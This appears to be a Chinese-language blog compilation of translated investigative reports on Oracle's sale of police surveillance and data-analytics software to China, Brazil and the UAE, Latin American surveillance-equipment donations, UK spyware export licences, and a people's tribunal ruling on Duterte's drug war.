The Intercept 揭露的甲骨文文件时间跨度为**10**年 ~ **2010**年至**2020**年。它们大致描述了一种被称为 “社会化警务” 或 “综合警务” 的方法，这需要将传统的警察信息来源与来自"社交媒体"的数据情报合并。根据一份文件，其目标是 “跨越障碍，促进对受害者、证人、嫌

疑人和事件的生命周期360度视图”，以便对“物理和数字世界”进行全方位的警务监视。

「图」

「图」

📌 推广这一概念的重要人物是 Hong-Eng Koh，他是一名前新加坡警察，**2010–2016**年在甲骨文工作，至少有一部分时间是在北京工作。甲骨文文件、甲骨文会议存档、以及他本人和前同事在社交媒体上的帖子中，都将 Koh 描述为那段时间甲骨文司法和公安的“高级总监”或“全球领导”。根据这些文件，**Koh** 负责监督一个员工团队，他们与世界各地的政府机构接洽，讨论甲骨文软件的警务应用。

甲骨文公司的摩尔声称，该公司从来没有一个“甲骨文司法和公共安全小组”，但承认有一个员工小组与Koh合作。她补充说，Koh“当时担任的是全球行业解决方案的角色，专注于将甲骨文产品定位于各个行业，包括公共部门”。

「图」

「图」

甲骨文在文件中宣称如何使用其软件将社交媒体活动（九四社交媒体情报）与警察数据集成在一起，包括在中国

Koh 似乎是警察工作的热情粉丝。“还有哪份工作会给你一把私人枪支？”他的 **LinkedIn** 账户中"写了一条"似乎是关于他早年在新加坡当警察的帖子，上面就是这样写的，“有几个月的时间，我觉得自己很‘有力量’，不管是值班还是下班，我都热衷于带着枪和子弹到处走访”。 (Koh没有回应多封电子邮件和LinkedIn的评论请求)。

在甲骨文公司，除了枪之外他还有其他强大的工具可以使用。在文件中，甲骨文向警方投递了一套名为“Oracle Business Intelligence”的分析和企业软件，供警方使用，包括在中国。这种软件应用广泛，被企业广泛用于业务分析。前甲骨文高级主管洛佩兹表示，虽然甲骨文的工程师一般不会为特定行业检修商业情报等软件，但甲骨文会针对特定用途进行营销。“当你推销某样东西时，你会希望你的营销能说明这个通用软件是如何被定制或修改或调整来解决你的行业问题的”，他说。他补充说，甲骨文的工程师也会经常根据政府或企业的意见为软件增加功能。甲骨文网站上一个名为“转变司法和公共安全”

的视频建议与警方密切合作，将“孤立的数据整合到一个情报中心”；”我们可以帮助你建立你理想的前进道路”，它说。

「图」

「图」

据他明显的LinkedIn资料显示，在甲骨文公司工作的两年中，Koh Hong-Eng Koh 是中国领先的警察学校的客座研究员。

甲骨文公司是全球领先的商业数据库软件供应商，对于已经使用该公司数据库的警察部门来说，甲骨文公司的分析产品的一个优势是，他们可以更容易地在上面叠加软件。

TheIntercept 查看的公司文件指出，各国对数据驱动警务的使用有不同的法律规定，但他们绕过了公民自由的担忧。“一个守法的公民不应该害怕”，甲骨文在关于“社会化警务”的文件中写道，该文件将Koh列为共同作者。“如果一个人不避讳地在社交网站上公开发帖，他/她需要明白，任何人，包括营销公司、政府机构、甚至犯罪分子，都可以在未经他/她许可的情况下查看这些内容” —— 也就是说利用那个最愚蠢的 《没什么可隐瞒》的谬论。

该文件还说，“互联网永远不会遗忘”。它指的是任何信息一旦上网，就不大可能彻底删除了。

当然。互联网也没有忘记 Koh。以他名字命名的 "Slideshare 账户"包含了详细介绍与世界各地警察部门合作的内容，**LinkedIn** 账户包含了 **Koh** 与准军事联邦执法组织巴基斯坦游骑兵的清晰照片。

大数据与镇压性政权

Koh 似乎在当局坐拥大量信息库的镇压政权中找到了接受的受众。过去十年来，中国当局一直在努力利用大数据来防止威胁共产党政权的任何事件。中国国家主席习近平曾谈到，要通过防范“黑天鹅”，即突发事件，以维护“稳定”。“其逻辑是，对发生的事件作出反应已经不够了，因为那时已经太晚了”，牛津大学的博士生爱德华·施瓦克说，他曾写过关于中国预测性治安的起源，“你需要先发制人地处理事件”。

在过去的20年里，中国推出了电子身份证、网上实名登记、自动车牌阅读器，以及由面部识别和监控摄像头支撑的检查站。📌“每个人都

在"使用手机"，"使用微信"，使用所有这些可以"很容易被追踪"的东西，这可以产生大量的数据点”，研究中国预测性警务的科隆大学中国法律学者丹尼尔·斯普利克（Daniel Sprick）说。他补充说，在新兴的社会信用评分体系下收集的一些数据也会反馈到警方可以获取的信息中。“因此，警方有条件拥有一套独特的数据集，基本能知道他们想要知道的一切”。

在巴西，政府一直在不懈地努力合并信息，建立公民的巨型数据库。例如，该国的公民基础登记册收集了50多种巴西人的信息，包括就业细节、健康数据、以及指纹和人脸照片等生物识别信息。在贾伊尔·博索纳罗总统的指导下，巴西联邦警察也正在建立一个统一的数据系统，收集全国各州的生物识别数据和犯罪数据。

- 更有趣的是，高堡奇人的另一侧，也就是中国，也在和美国争抢巴西的监视技术市场《老大哥的联盟》

「图」

「图」

中间那个是Hong Eng-Koh，和里约热内卢的警察一起，向他们推荐甲骨文的监视技术

阿联酋当局也同样采取行动，大量积累公民数据。在迪拜，警方推出了一项名为 Oyoon 的大规模监控计划，字面意思是“眼睛”。该计划涉及5000个监控摄像头，据称警方可以通过将任何有人的照片上传到该数据库中来追踪整个城市的人。

Koh 在其 LinkedIn 账号上声称，他的团队为上述这三个国家的警方“成功开发了多个行业解决方案”。

一份显然由Koh发布的甲骨文品牌的 Slideshare 演示描述了一个涉及阿联酋警方的“大数据分析演示”。它解释说，该技术帮助那里的当局更容易地监控嫌疑人的行踪和电话，建立一起工作的人的关系网络，并识别碰巧在目标人附近出现的任何个人。一张幻灯片显示的似乎是阿布扎比警方的移动界面，旁边还有一台服务器。

甲骨文的文件支持 Slideshare 的许多说法。在 Koh 声称已经促成交易的一个国家墨西哥，甲骨文公司的一张幻灯片说，📌 该公司的数据库和中间件帮助当局与 iOmniscient 公司合作进行“实时视频情报”和车牌监控，iOmniscient 公司进行面部识别、人群行为分析、以及

“声音和气味分析”。

【注：中间件是一类提供系统软件和应用软件之间连接、便于软件各部件之间的沟通的软件，应用软件可以借助中间件在不同的技术架构之间共享信息与资源。中间件位于客户机服务器的操作系统之上，管理着计算资源和网络通信。】

与此同时，在里约热内卢，甲骨文公司将数据分析软件 Business Intelligence 卖给了以与贩毒团伙和当地黑手党有联系而闻名的民警。与甲骨文的合同从**2013**年开始，此后每年都会续签，合同显示，里约警方每年为该软件支付50万美元。

Koh 的 Slideshare 演示文稿中有一张明显是 Koh 与 José Roberto Peixoto 和 Andre Drumond Flores 的合影，他们都是民警的高级信息技术员工。Drumond 在2017年向一位研究人员吹嘘，警方有一台“钢铁侠3的机器”。甲骨文 Exadata 处理器出现在照片和好莱坞动作大片式的场景中。Drumond 表示，该系统可以帮助警方在警方数据中找到任何想要的行为模式和可能的人。

「图」

「图」

根据 The Intercept 发现的公司文件和警察合同，甲骨文软件已经在巴西、巴基斯坦和阿联酋销售用于警察监视。

但 **Koh** 似乎在中国的涉猎最深。根据他的职业简历和他的演讲，在他在甲骨文任职的最后两年，他同时在中国领先的警察学校 —— 中国人民公安大学—— 担任客座研究员一职。除了培训警官和警察，该校还有实验室，致力于数字取证和图像识别，这些技术有助于为监控国家提供动力。当被问及此事时，甲骨文的摩尔写道：“LinkedIn简介不应该与实际工作相混淆”。（吼吼）

- 《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》
- 《警察查手机的东西长什么样？—— 从技术角度看移动设备取证》
- 《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》

甲骨文在中国

在 Koh 加入之前，甲骨文的技术就已经被用于中国政府的关键监控举措了。该公司的文件夸耀说，在**2010**年之前的几年里，其技术被用于在北京东城区建立中国网格化管理系统的试点，这是一个街区级的社会监控网络。

- 关于“网格化管理”，参见《泄露：中国庞大的警察数据库》

「图」

「图」

文件还称，甲骨文的技术在中国的“"黄金工程"”中发挥了作用，这是早期中国互联网监控工作的集合。但在2010年之后，随着 Koh 的参与和中国监控项目的全面展开，甲骨文似乎热衷于推销其软件供中国政府机构使用，声称可以用于“公安信息的集中处理和智能分析”。

📌 甲骨文网站上的一些中文介绍尽管是公开的，但却被标注为“机密”。这就不难理解为什么有人会想把它们隐藏起来。

综上所述，这些文件显示了一种协助构建监控国家的极端意愿。比如，有一份中文介绍，宣传“甲骨文的建议是：建立一个更完整的平台，满足公安大数据处理的需求”。

「图」

「图」

甲骨文演示文稿声称该公司的软件可以帮助警察利用特定的中国政府记录，包括酒店登记和吸毒者名单

目前尚不清楚，除了辽宁和山西的部门—— 如文件中所暗示的那样 —— 之外，究竟有多少中国警察部门可能已经在使用甲骨文软件进行数据分析或所谓的预测性警务工作。甲骨文中国的大部分材料可以追溯到"2013年爱德华·斯诺登吹哨"之后，该文件披露美国国家安全局已经获得了美国科技公司的系统访问权限。斯诺登的爆料吓坏了中国政府领导人，并促使中国再次努力发展本土技术，尤其是涉及警察和军队的敏感工作。

但是至少，这些文件表明，甲骨文公司的员工对中国警方和政府的行动进行了详细的研究，并根据这些知识制作了广告。

📌 2014年的一份值得注意的中文演讲描述了一个“公安大数据模型”

，被描绘成一个彩色的气泡图。中心是警方可能会采用的基本细节列表：一个人的姓名、国民身份证号、出生年份、电话号码或**QQ ID**。(QQ是中国科技巨头腾讯拥有的一个流行的即时通讯和社交平台，腾讯还拥有“超级应用”微信)。从那里，气泡图链接出其他数据，包括酒店入住；网络和社交媒体活动；以及电话、银行、移民和车辆记录。图表上的其他圆圈参考了中国当局用来追踪吸毒者和娱乐业人士的数据库。

法律学者 Sprick 说，娱乐业数据库是一种表面上的公共卫生措施，旨在追踪高危人群，包括从事性工作的人，而不将他们的活动定为犯罪。“如果这些数据现在因为某个IT巨头提供了智能数据库架构而成为警方可以直接获取的数据，那么这个公共卫生问题就会被公安机关劫持，从而危及这种健康追踪系统的理想成果”，他说。图中显示，甲骨文公司软件能力是将基本身份标识与某人的药物使用情况或间接的性史进行交叉参考。

「图」

「图」

甲骨文公司的发言人说，他们可以帮助警方挖掘敏感的公民数据，包括DNA，精神疾病记录和其他医疗信息。

📌 另一份宣传资料描绘了一系列敏感的公民数据被转换成**1**和**0**，包括**DNA**、精神疾病记录、和其他医疗信息。还有其他一些来自中国的文件吹嘘说，甲骨文技术可以帮助警方搜索互联网活动，以“分析数亿网民中潜在的可疑犯罪行为”，从 ”数万个摄像头” 中捕获车牌数据，并分析通话记录以建立所谓的犯罪网络，然后将其与指纹和面部识别图像联系起来。

这样的强调与此前关于中国警方监控的调查结果一致。例如，在2017年和2018年，人权观察发表了关于中国范围内的云计算项目“警察云”和新疆省的预测性警务项目“综合联合行动平台”的详细报告。这两个大规模建设项目都强调了对甲骨文文件中点名的特定类别的人进行监控，包括吸毒者和有精神健康问题的人。

📌 中国国防战略专家 Kania 称，甲骨文以国防为重点的演示文稿中的语言也与中国军方用来描述其自身议程的语言惊人地接近。一份2011年的早期军方营销演示文稿，在详细介绍甲骨文如何帮助中国实现“军事信息化”（人民解放军的一个流行语）之前，先列举了甲骨文与美国国防部合作的例子。其中写道：“我们期待有机会为云计算

技术在国防信息化方面的转型做出贡献”。

【注：关于解放军的信息化作战，近年来正在成为一个热门的研究领域，我们推荐过一本书，您可以在这里下载《窥探中国的信息化作战和网络运营内部》】

「图」

「图」

销往新疆

Koh 在 LinkedIn 账号上吹嘘说，他在甲骨文公司表现得非常好，他被邀请参加在毛伊岛举行的公司专属聚会。但在**2016**年，他去了中国电信设备制造商华为，根据他的简历，他是该公司的全球首席政府行业科学家。

- 《西方如何养肥了华为又”成就了”种族灭绝监视综合体？》
- 《华为如何把德国城市变成圆形监狱》
- 《华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手》
- 《华为之战的虚伪：技术的巴尔干化》

他现在兜售一个名为 FusionInsight 的分析平台。在华为时，他在巴西的工作还在继续。据报道，华为向时任圣保罗市长 **João Doria** "提供了"数百台监控摄像头作为礼物，有新闻称，Koh 出席了在中国与 Doria 的交易会议。在华为帮助里约热内卢供应了一个有争议的面部识别监视系统后，Koh 还被举荐代表华为发言，称该系统可以融合“面部识别、行为识别、甚至物体识别”。2019年里约著名的狂欢节就使用了该面部识别监控系统。在使用的前几周就有一名 *无辜者* 被捕。

在 Koh 离开后，甲骨文继续努力与世界各地的警方合作。里约热内卢警方仍然与甲骨文公司签订了积极的合同。该公司还为巴西数十家政府机构提供数据中心和软件，包括大学、卫生机构、部委、甚至法庭。

与此同时，在中国，甲骨文网站上的营销研讨会索引中，包含了2017年的两个明显面向政府的云计算活动。而甲骨文网站去年公布的一份客户名单称，该公司为中国新疆公安部门提供了“数据安全解决方案”，同时还有其他五个中国省市的警察部门，以及公安部本身。该

文件还将电信公司华为和中兴通讯列为“数据安全客户”，即使这两家公司已经进入美国政府的视线。

甲骨文发言人摩尔表示，该公司“与授权的中兴和华为实体有有限的交易，与任何受限的实体没有交易”。她承认，甲骨文“在2011–2019年期间与中国新疆公安局进行了授权交易”，并补充说，自2019年美国对其实施制裁以来，甲骨文没有与该警察局进行业务往来。（你信吗？）

但是，在甲骨文称结束与警察局的业务之前，至少有一年的时间，全球普遍意识到新疆当局围捕维吾尔族和其他少数民族，并将他们关押在不人道的再教育营。新疆警方收集的数据包括**DNA**样本、生物识别信息、计划生育史等，其中透射出明显的民族、宗教等形式的偏见。

- 《美国公司如何帮助中国借助 DNA 数据追踪公民》

“公安局处于指挥系统的末端”，曾就新疆镇压问题进行大量著述的人类学家达伦·贝勒说，“整个系统都是由公安局管理的。因此，如果你在帮助他们，你就是在帮助集中营。”

如今，甲骨文继续向新的市场推进，提供服务，建立外国政府对其他甲骨文产品的需求。去年10月，甲骨文与国有电信公司 Etisalat 合作，在迪拜推出了一个"云中心"，"帮助阿联酋实施互联网审查"。

- 推荐内容《在迪拜看到这个世界的肮脏》

据报道，甲骨文主席埃里森在该公司12月的财报电话会议上告诉股东，该公司在美国以外的工作具有战略意义，其数据中心和其他服务可以带来其他业务。“我们已经看到了世界各地对我们产品的需求”，他补充说：“我们的战略是，因为我们有庞大的现有业务，我们有庞大的现有安装基础，我们相信我们只需要就能比某些人—— 亚马逊 —— 进入更多的国家”。〇

HOW ORACLE SELLS REPRESSION IN CHINA

原文

中国、美国、以色列，全球最强大的监视技术公司正在通过"赠送"设备以在拉丁美洲找到立足点 - iyouport

协助暴政的家伙们

从巴西到阿根廷，华为和大华等公司都在传播高科技的监视设备。

【注】我们在8月10日上传了这份调查报告的原版，您可以在这里下载：https://t.me/iyouport/8616

本文并不是完整的，仅仅简要介绍中国部分，而这份报告的调查范围是全球，在下图中看到。

数字权利组织 Access Now 的一份新报告首次全面审视了主要来自中国、美国和以色列的外国公司在过去十年中是如何推动拉丁美洲对监控技术的需求增加的，包括以折扣价提供监视设备和监控软件，有时甚至免费赠送。

过去几年中，用于监控公民的面部识别技术在该地区越来越普遍。这些项目表面上是针对所谓的 “犯罪预防” 的，尽管它们也越来越多地用于其他原因，如减轻 Covid 和教室监控。研究中国监控技术出口的德克萨斯大学奥斯汀分校教授希娜·格雷滕斯说：“用于公共维稳或警务的技术在拉丁美洲是相当普遍的”。

尽管政府和公司胡作非为的历史有据可查，但在阿根廷、巴西和厄瓜多尔这些报告中强调的国家，监控技术的快速扩张并没有遇到多少民众的抵制。更多时候，监控是政客们的骄傲，被誉为 “更安全的未来的基础”，并被该国的居民所接受。

“我们的目标是使圣保罗成为一个全球性的首都，而不是一个省——这包括使它成为一个数字城市”，当时的市长若昂·多利亚在2017年这样说时，大约在同一时间，包括华为、海康威视、大华和中兴在内的多家中国公司为其城市摄像头计划捐赠了至少4000个监控摄像头。他

总结说，“在我的任期结束时，圣保罗将成为拉丁美洲监控最好的城市。”

巴西公共政策和互联网实验室主任 José Renato Laranjeira 是 Access Now 报告的撰稿人，他说，巴西的犯罪率“历来极高，因此任何试图解决这一问题的措施通常都会受到民众的欢迎”。Access Now 的政策助理维罗尼卡·阿罗约（Verónica Arroyo）也表示，这种趋势在整个拉丁美洲都是如此。

如果您错过了今年4月的消息《局势：中国正在努力扩大与拉美的联系》

Access Now 报告详细介绍了监控技术公司通过折扣服务建立区域立足点的模式。专家们帮助解释了为什么会出现这种情况。

格雷腾斯说，公司可能打算将这些设备作为政府的试运行，目的是向下销售更多的实质性合同，以及鼓励附近的城市和州采用这种技术。她说：“这可能是他们客户关系管理的一部分 —— 试图通过与市政或省级官员建立良好的关系，在该国建立长期的战略立足点”。

位于巴西人口最多的圣保罗州的坎皮纳斯市就是这种情况，2018年，华为向该市捐赠了30台智能摄像机，其目的是请当地人进行测试。“示范效应似乎非常重要”，格雷腾斯说。

虽然这次捐赠没有导致与该市签订更大的合同，但雷纳托说，这与中国公司在巴西的更广泛动机有关：主导国家和地区市场。这是科技公司在拉丁美洲和全球追求的增长模式的象征，像 Uber 和 DiDi 这样的公司对他们的产品进行补贴，以扩大他们的客户群并在价格上超越竞争对手。

有时，其目的是为了建立监控技术以外的区域业务关系。除了监控合同，华为等公司还在争夺其他更大的基础设施项目，如巴西的全国性5G项目。多利亚现在是圣保罗州州长，也是总统候选人，他一直是华为在该国的最高盟友之一。监控项目只是华为更广泛的企业活动的一部分。

雷纳托说，向新的地区客户提供廉价或免费的技术还有其他潜在的好处，比如“收集我们公民的数据，并根据当地人口统计数据增强其产品”。其他中国监控公司在国际上的情况也是如此，包括津巴布韦的面部识别公司 CloudWalk。

然而，雷纳托提醒说，没有确切的证据表明华为和大华在试验期间收集的数据被输送回这些公司。当他询问里约热内卢警方时，雷纳托说他们无法确认谁能获得所收集的数据，里约热内卢警方也通过巴西电信巨头 Oi 获得了华为的设备。〇

原文

人权的愤怒 - iYouPort

协助暴政的家伙们

英国正在向数十个国家出售价值7500万英镑的间谍设备，这些技术被用来打击记者，博主，工会活动家，抗议者和其他任何质疑政府政策或权威的异议人士。为什么还在不要脸地狡辩？

「图」

「图」

英国已经批准向数十个国家出售价值7500万英镑的电信骇客设备，其中包括一些对持不同政见者发动残酷镇压的国家。

这一揭露令人权组织感到震惊，这些组织质疑英国制造的技术是否被独裁者用来瞄准他们的对手。

根据对电信拦截设备出口许可证的分析，自2015年首次单独整理数据以来，英国已获得了**7500**万英镑的间谍软件和监控技术的出口许可。这些监视镇压技术被出售给多个拥有可疑人权记录的国家，包括巴林，沙特阿拉伯，菲律宾和土耳其。

- 在 *IYP* 类目中//“监视与操纵”部分//看到全球出口间谍技术的更多详细报告；在“政府的间谍行为”部分看到当权者对这些技术的使用报告。

一些出口许可证被确认是用于窃听电话交谈的 IMSI 捕手，而另一些用于监视软件。

“这不仅仅是可用于压迫和权力滥用的常规武器，它也是监听和监视的设备，”反对武器贸易运动的 Andrew Smith 说，“将这种设备出售给那些可以用它来抵制积极人士和活动家的政权是完全鲁莽的和不负责任的。”

Smith 质疑政府没有做过任何检查以确保该技术不被用于促进侵犯人权。“这些销售是一种政策的表现，政府一贯优先考虑武器出口而不是人权。一旦这种设备离开英国海岸，就无法充分调节它的使用方式和使用对象。“

负责竞选组织 Global Justice Now 的律师事务所 Leigh Day 致函国际贸易部，要求澄清出口的监控设备如何在国外使用。通过信息自由请求获取信息的尝试几乎没有产生效果。

“坦率地说，就国际贸易部而言，信息自由法案已彻底崩溃，”Global Justice Now 主任 Nick Dearden 说。“他们是在尊重透明度和信息自由方面表现最差的政府部门。这使我们完全无法控制他们的行为和活动。“

Leigh Day 指出，IMSI 捕手向菲律宾的出口是在其总统罗德里戈·杜特尔特承认该国至少已经窃听了两名政客，其中一人随后被杀，之后进行交易的。

在杜特尔特政权实施的更广泛的侵犯人权行为的背景下，对这种监视设备的滥用情况令人担忧，这些技术帮助了国家支持的“达沃敢死队”的法外杀戮、死刑、威胁、恐吓和对批评者的监禁，记者和任何收集侵犯人权证据的人，以及包括非政府组织和联合国人士都在政府的黑名单上。

* 关于敢死队的暗杀如何被中国和美国的监视技术所协助的报告，在这里看到《//走进暗杀之城//》

报告还强调了这样一种担忧，即 能够远程安装在通信设备上以提取数据和控制功能的入侵软件可能已被出口到埃及，埃及已开始打击记者，博主，工会活动家，抗议者和其他任何质疑政府政策或权威的异议人士。

能够对公民通信进行大规模监视的专业监视技术还被许可出口到沙特阿拉伯，该国的间谍已经残忍地谋杀了美国记者 Jamal Khashoggi。

国际商务大臣利亚姆•福克斯（Liam Fox）在回应 Leigh Day 的信中表示，未经认真考虑，不会签发出口许可。我们自然也会更广泛地考虑进口国对国际人权法的态度，以及设备的使用之间是否存在直接或因果关系，这可能超出了你提出的压制异议的具体问题和那些言论自由权的问题，“他说。

但是，反对国家监视的隐私国际组织负责人的 Edin Omanovich 表示，英国的许可证制度需要进行紧急改革。“如果一些许可证被批准给我们明确知道的滥用权力侵犯人权的国家，那么该系统就必须被打破，”他说。

Human rights fury as UK licenses £75m of spyware exports. Abuse of technology by autocratic regimes is being ignored, say campaigners

原文

危害人类罪的惩治方案 - iYouPort

协助暴政的家伙们

杜特尔特被判犯下了战争罪和危害人类罪，特朗普是帮凶。如何惩治这些罪行？

「图」

「图」

根据国际人民法庭最近的一项裁决，菲律宾总统罗德里戈·杜特尔特及其政府在美国总统唐纳德·特朗普及其政府的协助和怂恿下犯下了战争罪和危害人类罪。以下文章来自此案的证人之一。

该仲裁庭于2018年9月18日和19日在比利时布鲁塞尔举行，于3月8日就这些罪行作出了长达84页的决定。仲裁庭的召集人包括国际民主律师协会、欧洲民主律师协会、霍尔丹社会主义律师协会，IBON国际和菲律宾国际人权联盟。来自埃及，法国，意大利，马来西亚，荷兰和美国的八名陪审员组成的小组听取了31名证人的证词。

这些陪审员命令被告作出赔偿、恢复原状，并可能对其罪行进行起诉和制裁。虽然仲裁庭无权执行这些措施，但其事实和法律结论的调查结果可用于支持国际刑事法院（ICC）目前待决的杜特尔特政权之罪行的初步审查。

“法庭终于作出了历史性的全面决定，”菲律宾全国人民律师联盟（NUPL）主席埃德雷奥拉利亚（Edre Olalia）在一封电子邮件中告诉 Truthout。“它在陈述事实和证据方面是广泛的，精辟阐述了被告的行为和不作为之间的关系及其责任“。

Olalia 补充说，这一决定“明确地传达了一个信息：一个不断受到专制政府和镇压政府以及剥削实体侵害的人们将能够在那些愿意给予他们战斗机会的人面前尽可能地寻求正义。” “这一决定与菲律宾人民的反抗精神和坚持不懈的努力密切相关。”

这种暴政、暴行和腐败的大部分都得到了美国的暗示或明确的认可。菲律宾和美国政府之间的邪恶联盟是长期存在的。在过去的18年里，在布什总统，奥巴马总统和特朗普总统的领导下，美国继续向菲律宾政府提供援助，使菲律宾政府能够对自己的人民犯下战争罪和危害人类罪，并剥夺人民的合法自主权。

在911袭击事件发生后，布什宣布菲律宾成为反恐战争的第二战线，称其为“持久自由行动—菲律宾人”。菲律宾政府利用布什的竞选活动，提升其反对穆斯林以及针对异议个人和组织的恶性反叛乱计划。

菲律宾政府将特定的人和群体称为“恐怖分子”，这使他们成为该政权的目标。政府还进行“红色标记”—政治诽谤。这些标签可能导致骚扰、攻击、拘留、酷刑甚至谋杀。目标通常是人权活动家和倡导者、政治反对者、社区组织者或争取民族解放的团体。

事实上，全国人民律师联合会秘书长 Benjamin Ramos 律师于2018年11月6日在仲裁程序的两个月后被暗杀。“Ramos 是内格罗斯的一位领先的人权律师，他热情地倡导真正的土地改革和农民权利，“NUPL 在一份声明中说。**Ramos** 是杜特尔特政权杀害的第**34**位律师。自那以后又有两人被杀。

仲裁庭认定被告罗德里戈杜特尔特及其政权、唐纳德特朗普及其政府犯有严重和系统侵犯公民、政治、经济、社会和文化权利的罪行; 以及人民对民族自决和发展的权利。

杜特尔特根据指挥责任原则对其政府的罪行负责。如果指挥官知道或者应该知道下属会犯下谋杀罪、并且他们没有采取任何措施阻止，他们对其下属犯下的谋杀和其他罪行负有刑事责任。

特朗普政府的责任是基于其作为帮凶的角色。“国际刑事法院罗马规约”包括协助和教唆战争罪的责任。如果个人在犯罪或企图犯罪时“帮助、教唆或以其他方式协助”，则可以在国际刑事法院判定犯有战争罪。这包括“提供其佣金的手段。”美国政府在**2017**年和**2018**年为杜特尔特政权提供了"1.75亿美元"的外国军事融资，**2019**年提供了"1.11亿美元"。

法庭认定杜特尔特政权对“大规模谋杀、严重侵犯正当程序权利、有增无减的杀戮、袭击、以恐怖主义标记人权维护者和政治反对者，扼杀言论自由、以及对人权的完全蔑视“负责。

杜特尔特正在进行一场无情的“毒品战”，这场战争的形式是针对可疑

吸毒者的暴力战争。毒品战争的大多数受害者都是来自贫民窟的穷人。一份警方备忘录命令将疑似吸毒者杀死。截至2018年7月31日，政府承认至少有4,410名涉嫌吸毒的人被杀。独立消息来源称这一数字为23,000人。警察声称他们采取了自卫行动。

但是，全国人民律师联合会主席、法庭检察官 Neri Colmenares 认为，“包括目击证人在内的直接证据、CCTV和其他目击者都表明，警察本身杀害了那些没有反抗能力的受害者。当受害者跪下并恳求饶命时，他们依旧在实施杀戮。“

Colmenares 注意到这些杀戮的厚颜无耻，他说：“就是在光天化日之下，在公共场所，在许多目击者面前杀戮……”。菲律宾的官员有一种不受惩罚的文化。进行非法杀戮的警察不会被绳之以法。他们会"晋升到更高的职位"。

许多律师害怕为毒品犯罪嫌疑人辩护，因为担心他们自己可能会被杀害。自杜特尔特于**2016**年**7**月**1**日就职以来，该政权非法杀害了**10**名检察官，**21**名律师，**3**名法官和**13**名记者。

法庭写道：“对于人权维护者以及批评当前不民主和反人民政策和制度的菲律宾民间社会的法外杀人事件也愈演愈烈。”“截至2018年6月，进步运动组织的**169**名领导人成为法外杀人（**EJKs**）的受害者，另有**509**名政治犯被非法监禁，受到捏造的刑事指控和栽赃的证据。”

杜特尔特毫无歉意。在2018年9月27日，他公开承认，“我唯一的罪过是法外杀人。”

国际刑事法院首席检察官 Fatou Bensouda 在2016年10月的一份声明中写道，就菲律宾的情况，法外杀人可能属于国际刑事法院的管辖范围，“如果是根据国家政策实施的这种攻击，作为对平民人口进行广泛或系统攻击的一部分。“这就是危害人类罪的定义。

证人在法庭上作证说，嫌犯和囚犯遭受身心折磨。棉兰老岛的矿工 Janry Mensis 通过视频作证。他描述了他和他的兄弟是如何被逮捕，拘留和折磨的。他们被捆绑并被扣留九天。他们的嘴巴被塞入包装带，然后士兵试图勒死他们。当他的兄弟们假装失去知觉时，他们被扔进了一个装有木头和石油的坑里再点燃。士兵离开后他们逃出了那个坑。他们每个人都遭受了三度烧伤和酷刑造成的其他伤害。

杜特尔特于2017年5月23日在棉兰老岛宣布戒严，是为了回应一个据称受ISIS启发的群体入侵城市（伊斯兰国也被称为 Daesh）。他的政

府利用戒严法进行非法逮捕和拘留，强迫失踪，强迫流离失所和任意剥夺财产，破坏清真寺和学校，以及任意拒绝向陷入交火的平民提供人道主义援助的人。

根据“罗马规约”和“日内瓦公约”，谋杀，酷刑和残忍待遇构成战争罪。

作为针对任何平民的广泛或系统攻击的一部分而发生的谋杀或酷刑，构成“罗马规约”规定的危害人类罪。

菲律宾和美国政府并不是审判庭中唯一接受审判的实体。其他被告包括国际货币基金组织（IMF），世界银行，世界贸易组织（WTO）以及在菲律宾开展业务的跨国公司和外国银行。

“杜特尔特的经济政策导致剥夺真正的政府服务，因为他们将公共资金转移到被告世界银行、国际货币基金组织、世界贸易组织和跨国公司要求的腐败和大额项目，”该法庭写道。

仲裁庭认定，杜特尔特“实行了反民主和排他性的经济和治理，因为他通过系统地侵犯基本人权，如在采矿业中所体现的那样，在菲律宾开展业务的被告行为人和跨国实体强加或影响了新自由主义政策。“此外，仲裁庭的结论是，”这更加严重地侵犯了人民的社会、经济和文化权利。“

证人证实“剥夺了数百万菲律宾人生计的剥削制度的影响，摧毁了边缘化穷人的棚屋，抢走了农民的土地，并通过永久的合同化和劳工出口使工人陷入永久的贫困“，Colmenares 总结道。

仲裁庭的结论是，杜特尔特政权“一直未能提供工作的基本权利; 这包括生活工资和正规就业; 达到适当的生活水平; 以及“健康、住房和教育。”法庭还指责政权强加“主要针对穷人的新税收; 并迫使贫困家庭流离失所，在他们的土地上建造旅游项目。“

“农民被剥夺了他们耕种的土地多年并遭到袭击; 工人被剥削，他们的罢工被暴力驱逐; 城市贫民在维护自己的权利时仍然无家可归并受到威胁; 教育已商业化，绝大多数人无法接受教育，“该法庭指出。此外，“根据劳务输出政策，每天都有数千人被迫迁移，包括护士; 生计权受到限制; 被困的海外工人被忽视和抛弃。“

“杜特尔特基本上表明了他对美国在亚太地区的帝国主义目标的忠诚，”该法庭得出结论。他的政府“也推翻了人民阻止美军基地的胜

利。”

仲裁庭解释了美国在菲律宾的军事基地如何促进杜特尔特的反叛乱计划：“美国存在以及美国军队的永久和扩大基地正在进一步鼓励被告杜特尔特政府实施反叛乱计划 Oplan Kapayapaan ，该计划是在2009年美国反叛乱指南之后制定并由被告美国政府资助。“

美国政府对杜特尔特政府的援助包括提供“情报，资金，方向，培训和武器，以促进和追求其在该地区的经济和地缘政治利益”。

仲裁庭采用的我的证词如下：“美国对菲律宾政府的军事援助有助于其对本国人民犯下战争罪和危害人类罪。与菲律宾领导人一样，美国政治和军事领导人可能需要在国际刑事法院承担战争罪和危害人类罪的助手和教唆者的责任。

菲律宾人民有自决权，其中包括发展权。正如“发展权利宣言”所述，“凭借”自决，人民“有权自由决定其政治地位，追求经济，社会和文化发展。”人民“对其财富和资源拥有完全主权的不可剥夺的权利。“

证人记录了对土著人民和少数民族的广泛和有系统的攻击，以及使用白磷气体和强迫失踪手段 ，这些都构成危害人类罪。

“菲律宾和美国的政治和军事领导人不会因犯罪而逍遥法外。为菲律宾人民伸张正义不仅仅是为菲律宾人民的。全世界的人都有责任将罪犯绳之以法，“法庭写道，“菲律宾人民继续为民族解放和自决而进行勇敢的斗争。对菲律宾和美国官员的罪行申诉法律责任将有助于阻止他们犯下更多罪行。“

即使国际刑事法院最终没有调查和起诉菲律宾政府军事和警察官员犯下的战争罪和危害人类罪，其他国家也可以根据既定的普遍管辖权原则将罪犯绳之以法。

当嫌疑人的祖国不能或不愿起诉时，任何国家都可以审判外国国民的战争罪和危害人类罪，而杜特尔特则不愿起诉那些对菲律宾人民犯下滔天罪行的人。

